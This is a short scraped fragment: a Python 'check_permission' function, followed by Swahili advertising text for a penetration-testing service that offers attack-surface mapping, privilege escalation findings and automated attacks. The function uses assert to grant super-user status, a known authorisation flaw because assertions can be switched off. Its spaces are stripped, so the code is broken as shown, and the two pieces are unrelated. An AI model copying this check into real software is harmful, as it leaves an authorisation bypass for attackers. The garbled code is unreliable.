defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")
Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.